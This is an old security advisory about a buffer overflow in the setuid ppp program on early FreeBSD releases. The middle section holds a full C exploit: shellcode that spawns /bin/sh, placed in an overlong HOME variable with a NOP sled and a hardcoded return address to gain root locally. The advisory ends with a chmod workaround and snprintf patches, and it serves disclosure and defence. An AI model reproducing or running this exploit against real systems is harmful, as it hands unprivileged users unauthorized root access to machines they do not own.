COMMAND

    ppp

SYSTEMS AFFECTED

    FreeBSD 1.0, 1.1, 2.1.0, 2.1.5, 2.1.6, 2.1.6.1

PROBLEM

    The  program  in  question  store  user-supplied  information   in
    internal buffers.   There is  no range  checking on  length of the
    data copied into these buffers.   A malicious user may be able  to
    overflow these buffers through the use of command line options  or
    via enviornment variables  and insert and  execute their own  code
    fragment which could be used to obtain unauthorized access to  the
    system.   The program  in question  may be  subverted to allow  an
    unprivileged user to gain root access to the system.  Exploit down
    shows us how.


/* ---------------------------- CUT HERE ----------------------------------- */
/*                                                                           */
/*                                 Hi !                                      */
/*        This is buffer overflow exploit for ppp bug (FreeBSD 2.1.0).       */
/*           If you have any problems with it, drop me a letter.             */
/*                              Have fun !                                   */
/*                                                                           */
/*                                                                           */
/*                         ----------------------                            */
/*             ---------------------------------------------                 */
/*  -----------------   Dedicated to my beautiful lady   ------------------  */
/*             ---------------------------------------------                 */
/*                         ----------------------                            */
/*                                                                           */
/*         Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su        */

#include <stdio.h>
main()
{
#define length 114
  int i;
  unsigned long start_addr;
  char home_string[length];
  char *env[]={
                 home_string,
                 NULL
               };
  char code_string[]=
                      {
                        "\xeb\x2a"                         /* jmp    cont               */

/* geteip: */           "\x5d"                             /* popl   %ebp               */
                        "\x55"                             /* pushl  %ebp               */
                        "\xfe\x4d\xe7"                     /* decb   0xffffffe7(%ebp)   */
                        "\xfe\x4d\xeb"                     /* decb   0xffffffeb(%ebp)   */
                        "\xfe\x4d\xec"                     /* decb   0xffffffec(%ebp)   */
                        "\xfe\x4d\xed"                     /* decb   0xffffffed(%ebp)   */
                        "\xff\x45\xef"                     /* incl   0xffffffef(%ebp)   */
                        "\xfe\x4d\xf4"                     /* decb   0xfffffff4(%ebp)   */
                        "\xc3"                             /* ret                       */

/* 0xffffffe0(%ebp): */ "/bin/sh"
/* 0xffffffe7(%ebp): */ "\x01"

/* execve:           */ "\x8d\x05\x3b\x01\x01\x01"         /* leal   0x3b,%eax          */
                        "\x9a\xff\xff\xff\xff\x07\x01"     /* lcall  0x7,0x0            */

/* cont:  */            "\xc7\xc4XXXX"                     /* movl   $0xXXXXXXXX,%esp   */
                        "\xe8\xcb\xff\xff\xff"             /* call   geteip             */
                        "\x81\xc5\xef\xff\xff\xff"         /* addl   $0xffffffef,%ebp   */
                        "\x55"                             /* pushl  %ebp               */
                        "\x55"                             /* pushl  %ebp               */
                        "\x81\xc5\xf1\xff\xff\xff"         /* addl   $0xfffffff1,%ebp   */
                        "\x55"                             /* pushl  %ebp               */
                        "\xe8\xd4\xff\xff\xff"             /* call   execve             */
                     };

  for(i=0;i<length-2;home_string[i++]='\x90'); home_string[length-1]='\0';

  start_addr=0xefbfde83;
  *( (unsigned long*) strstr(code_string,"XXXX") )=start_addr;

  strncpy(home_string,"HOME=",5);
  strncpy(&home_string[5],code_string,strlen(code_string));
  *( (unsigned long*) &home_string[length-5])=start_addr;

  execle("/usr/sbin/ppp","/usr/sbin/ppp",NULL,env);

}
/* ---------------------------- CUT HERE ----------------------------------- */

SOLUTION

    Remove setuid privileges:

        # chmod ug-s /usr/bin/ppp


    The  following  patches  fixes  the  vulnerabilities.   It  should
    apply  cleanly  to  all  FreeBSD  2.1.x  systems.  It has not been
    tested with FreeBSD 1.x.

    After  applying  these  patches,  recompile  and  re-install   the
    affected utility


    --- usr.sbin/ppp/chat.c     1996/06/10 09:41:45     1.4.4.2
    +++ usr.sbin/ppp/chat.c     1996/12/15 20:40:26
    @@ -315,7 +315,7 @@
         }
         cp--;
       }
    -  sprintf(tmp, "%s %s", command, cp);
    +  snprintf(tmp, sizeof tmp, "%s %s", command, cp);
       (void) MakeArgs(tmp, &vector);

       pipe(fids);

    --- usr.sbin/ppp/systems.c  1995/05/30 03:50:58     1.5
    +++ usr.sbin/ppp/systems.c  1996/12/15 20:40:26
    @@ -75,12 +75,12 @@
       cp = getenv("HOME");
       if (cp) {
         SetUserId();
    -    sprintf(line, "%s/.%s", cp, file);
    +    snprintf(line, sizeof line, "%s/.%s", cp, file);
         fp = fopen(line, "r");
       }
       if (fp == NULL) {
         SetPppId();
    -    sprintf(line, "%s/%s",_PATH_PPP, file);
    +    snprintf(line, sizeof line, "%s/%s", _PATH_PPP, file);
         fp = fopen(line, "r");
       }
       if (fp == NULL) {
    @@ -115,12 +115,12 @@
       cp = getenv("HOME");
       if (cp) {
         SetUserId();
    -    sprintf(line, "%s/.%s", cp, file);
    +    snprintf(line, sizeof line, "%s/.%s", cp, file);
         fp = fopen(line, "r");
       }
       if (fp == NULL) {
         SetPppId();            /* fix from pdp@ark.jr3uom.iijnet.or.jp */
    -    sprintf(line, "%s/%s",_PATH_PPP, file);
    +    snprintf(line, sizeof line, "%s/%s", _PATH_PPP, file);
         fp = fopen(line, "r");
       }
       if (fp == NULL) {